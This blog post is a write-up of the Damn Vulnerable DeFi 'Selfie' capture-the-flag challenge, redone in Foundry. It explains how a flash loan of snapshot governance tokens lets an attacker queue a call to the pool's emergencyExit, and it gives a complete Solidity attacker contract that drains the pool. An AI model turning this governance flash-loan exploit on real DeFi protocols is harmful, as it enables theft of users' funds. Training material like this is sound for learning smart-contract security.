banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | Selfie

Challenge #6 - Selfie#

In order to systematically study solidity and foundry, I rewrote the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to discuss and build together~🎉

Contracts#

  • SimpleGovernance: Governance token contract that implements the ISimpleGovernance interface. It allows for pre-setting actions that can be executed after two days.
  • SelfiePool: Implements the IERC3156FlashLender interface and provides flash loans. It includes two types of tokens: ERC20Snapshot and SimpleGovernance.

Testing#

  • Deploy the DamnValuableTokenSnapshot and SimpleGovernance contracts.
  • Deploy the SelfiePool contract and transfer tokens to the pool, with the amount being TOKENS_IN_POOL.
  • Take a snapshot of the token, where the current balance and maximum flash loan amount in the pool are both TOKENS_IN_POOL.
  • Execute the attack script.
  • Expect the token balance of the player account to be TOKENS_IN_POOL, and the token balance of the pool account to be 0.

Solution#

The goal of this challenge is to take all the tokens from the pool. The pool contract has an emergencyExit function, which can transfer any amount of tokens from the current contract as long as the onlyGovernance condition is met.

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

The onlyGovernance condition requires the caller to be the SimpleGovernance contract. We also know that the SimpleGovernance contract provides methods to set and execute actions, and the parameters for setting an action include the target and calldata for the contract call.

Therefore, the complete calling process is as follows:

image

First, use a flash loan to obtain governance tokens by calling the attack contract. Then, record an action in the SimpleGovernance contract, with the target method being the emergencyExit of the pool.

After two days, transfer all the tokens from the pool by actively executing the action.

The code is as follows:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.